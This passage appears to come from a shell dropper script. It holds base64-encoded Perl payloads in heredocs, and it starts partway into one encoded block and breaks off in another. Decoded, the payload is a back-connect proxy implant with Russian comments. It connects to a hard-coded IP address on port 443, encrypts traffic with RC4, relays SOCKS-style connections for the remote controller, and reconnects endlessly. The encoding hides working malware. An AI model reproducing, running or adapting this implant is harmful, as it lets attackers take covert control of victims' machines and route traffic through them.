IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_51() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTknOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
